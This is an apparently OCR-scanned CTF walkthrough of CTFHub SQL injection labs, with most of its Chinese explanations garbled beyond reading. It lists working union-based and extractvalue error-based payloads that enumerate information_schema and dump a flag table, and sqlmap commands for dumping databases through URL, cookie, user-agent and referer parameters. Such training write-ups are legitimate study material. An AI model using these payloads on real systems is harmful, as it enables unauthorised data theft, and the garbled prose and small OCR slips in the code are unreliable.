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SQL ZEHELEN
D i

select * from news where id=1
ID: 1
Data: ctfhub

BIN1 and 1=1 f11 and 1=2 .

SQL ZEELEN
D i

select * from news where id=1 and 1=1
ID: 1
Data: ctfhub

SQL EEELEN
D i

select * from news where id=1 and 1=2

BIN 1 and 1=2 B STHIS 1 and 1=1 A, VRS RMENT THRARRID, WAFAESQLIENTR.

SQL ZE2EIEN
o g

select * from news where id=id=123 union select database(),2#
ID: sqli
Data: 2



I\ 1 order by x (XAIBARZ1,2,3...... VEE FE .

SQL ZEHELEN
D T

select * from news where id=1 order by 1
ID: 1
Data: ctfhub

SQL Z#ENEAN
o g

select * from news where id=1 order by 2
ID: 1
Data: ctfhub

SQL EHBLEN
D WA

select * from news where id=1 order by 3

RIHIAN 1 order by 3 B EMEE, UiBHFZEBRER2,



AL EBEFBH?

JEEEENFEEA B uniontRERF, TIAREuNion:ERFIIEEA, union/d ZBfselectiE &) LA MRS E KIS, ENETunioniE i)
P& SQLIEAI LA FBH—FE. [M]

BEJSHI 123 union select 1,2 AILAFRIHE —ME -ANFEAATLLIEEEMN T H EIR.

SQL EEHELEN
D HMEE?

select * from news where id=123 union select 1,2
ID: 1
Data: 2

#I\ 123 union select 1,database() BINE B MBI HIEE LKA sqli .

SQL ZE2EIEN
o g

select * from news where id=123 union select 1,database()
ID: 1
Data: sqli

#i\ 123 union select 1,group_concat(schema_name)from information_schema.schemata W] LA&E B FT A 38 E KL R .

SQL EEHELEN
D i

select * from news where id=123 union select 1,group_concat(schema_name)from information_schema.schemata
ID: 1
Data: information_schema,performance_schema,mysql,sqli

REBELAET? KT BN LEBFARIEERLK?

information_schema%i# £ & MySQL R % B EIEE, HAPORFE X T MySQLARS 28 Br4E37 it B B Ho A 808 2 1S B .
schematas&information_schemafEH ) — KR, 7 T 480 mysql LB H B HHE E RS S . schmma_name&Z5%

4, group_concat()ek Hks 4 b 1) F 5 R BV B A ST BN RS . EEAARKIEEE LEAER
information_schemaZ(#& & # schemata # i & Aschema_namel1 5 T H N BB HEBER — N7/ 8 BN,

R4 unionZE A 1237 ? FFEEHEHEAR 15 ?

UNIONE 1 I 2K Pif-selectBE M R & 3F, BFERTEHENNZERE A SMARENETHE. TEXEREANMBRERSHRE—
ITHERLER. AELEBATERRLERRST, HunionZifiselectFRAIEMLRAZT, MAuniontLME LR EHABRBN T B—17,
TENFEEM T E T2



YRR A AR X BEREMA— MR EHRA R, RERAR123, RERRHEERKF123.
#I 123 union select 1,group_concat(table name)from information_schema.tables where table_ schema='sqli' ZX&sqli

B FEHHIRS .

SQL ZE2EIEN
o g

select * from news where id=123 union select 1,group_concat(table_name)from information_schema.tables where
table_schema="sqli’
ID: 1
Data: news,flag

ALERXERHNE.
i\ 123 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag’ "E

flag I F B4

SQL ZEEHELEN
D i

select * from news where id=123 union select 1,group_concat(column_name) from information_schema.columns where
table_name='flag"
ID: 1
Data: flag

R FERA MR flag o
i 123 union select 1,group_concat(flag) from sqli.flag ﬁ%ﬂag?&ﬂ‘]ﬁﬁo

SQL EEHELEN
D i

select * from news where id=123 union select 1,group_concat(flag) from sqli.flag
ID: 1
Data: ctfhub{9974a59fed1f95ac3353a5bc}

BRI E 2] T flag.
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SQL FRFELEN
D AR

select * from news where id='1"
ID: 1
Data: ctfhub

] LAE BsqlN ERE #IE AN select * from news where id='1', 1#{#5]| 5/ THER. XTAKE, BRITMAZBTHEDERS
PURFERFRTAEIAT. EAE? BRATTUGA—N RS S5 —AN 85 SHEG, BEEE—/MET SHEBRE. sqli#iT
EROFTER M -, R -- FHER-ATHK. XERERE + EBEEEMEG S,

HIN -1 union select 1,2#, AJLAFZEIMIEDEHHIIPAITT .

SQL FEHRFELEAN
D EAER?

select * from news where id='-1" union select 1,2#’
ID: 1
Data: 2

BT Rt AN B TE N R

SQL FRFELEA
ID g ial?

select * from news where id='-1' union select 1,database()#’
ID: 1
Data: sqli

SQL EFELEN
D | A2

select * from news where id='-1' union select 1,group_concat(table_name)from information_schema.tables where
table_schema="'sqli'#"'
ID: 1
Data: news,flag



SQL FRFELEN
D A

select * from news where id="-1"' union select 1,group_concat(column_name) from information_schema.columns where

table_name='flag'#'
ID: 1
Data: flag

SQL ZRFELEAN
D HAER?

select * from news where id='-1' union select 1,group_concat(flag) from flag#'
ID: 1
Data: ctfhub{41a26d8d2a43f99f831c233e}

0x03 |EEHEAN

i 1 and(select extractvalue(1,concat(0x7e, (select database())))) BRINE BIEIEEL .

SQL #REIEAN
D M

select * from news where id=1 and(select extractvalue(l,concat(@x7e,(select database()))))
EHEEIR: XPATH syntax error: '~sqli'

A& X

extractvalue BREURELN extractvalue(xml_document,Xpath_string) , BI'EHIZEE NS ZRANFF & XpathiB 238 N i 7
e RN RLERRSHRE, FEEASERBERBEFERE. concati BN R EEHNFEHFEH, BR— I F/FH. 0x7e
B~ 55, T~ JF kKR B R AR & XpathiB RN K . FATAERSEE S EEIEETERNNANE.

FI#ER), i 1 and(select extractvalue(l,concat(@x7e, (select group_concat(table name) from
information_schema.tables where table schema="sqli")))) BRI EF RS .

SQL #zEEEN
D | e

select * from news where id=1 and(select extractvalue(l,concat(@x7e,(select group_concat(table_name) from



intormatlion_schema.tTables where Table_schema="sqli™))))

HifEiR: XPATH syntax error: '~news,flag'

I 1 and(select extractvalue(1,concat(@x7e, (select group_concat(column_name) from information_schema.columns

where table name="flag")))) BHEFKL.

sQL fREEAN
D B

select * from news where id=1 and(select extractvalue(l,concat(@x7e, (select group_concat(column_name) from

information_schema.columns where table_name="flag"))))

Eif)f&i=: XPATH syntax error: '~flag'

1A 1 and(select extractvalue(l,concat(@x7e,(select group_concat(flag) from flag)))) AILAE BlflagELHIR T .

sQL fEEEEN
D EAIE?

select * from news where id=1 and(select extractvalue(l,concat(@x7e,(select group_concat(flag) from flag))))

EifsEIR: XPATH syntax error: '~ctfhub{e833c8e788356f0805249f98'
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ETHRAOBEEREEFRAER, RERTSE, —RABCENHASE TREN. FARERN KL EPythonii4, Fikix B{#
FSQLMapi#TiEN .
BEUMBIEE.

python sqlmap.py -u <url> dbs

BESQIBEETRBERSG.

python sqlmap.py -u <url> -D sqli --tables

HETR.

python sqlmap.py -u <url> -D sqli -T flag columns

HEHE.



python sqlmap.py -u <url> -D sqli -T flag -C flag --dump

BEFEEEAR, FELIER4E ML --batch iESQLMap B 3hi%&#(y/n).
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EABRERMRKEE.

0x06 MySQL%:

OB A FUE R BHEEN, RENTIEBRIMMMYSQLIWEMEMNT i, BREMFZRELHET .

MySQLZEHS
D | i

select * from news where id=123 union select 1,group_concat(table_name)from information_schema.tables where
table_schema="sqli’
ID: 1
Data: news,jpokigravr

MySQLZEHS
D AT

select * from news where id=123 union select 1,group_concat(column_name) from information_schema.columns where
table_name="jpokigravr’
ID: 1
Data: kgwynrapzz

MySQLZEHS
D AT

select * from news where id=123 union select 1,group_concat(kgwynrapzz) from sqli.jpokigravr
ID: 1
Data: ctfhub{1b067e96aca03ddaf5554483}
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0x08 Cookiei: A\

FIFBuUrpIIE, BERRREAN mifEcookiekt. B AT LLIEFE(E FHSQLMapl --level 2 #4567 HENEN.

0x09 UAVE A

FIFBuUrp¥E, BLRRREN mfEuser-agentht . B3 A] LAE R FHSQLMapH) --1level 3 46 HBIEN.

0x0A Referix A

FIFBurpiNE, BERENRTEEERLPFMreferer?BEHATIEN, BHEFEFEHASQLMaph] --1level 5 AL EHBIEN.
ZE B R

AR 2SQLIEABEH E?(T)

SQLIEAZBEEHIEAN
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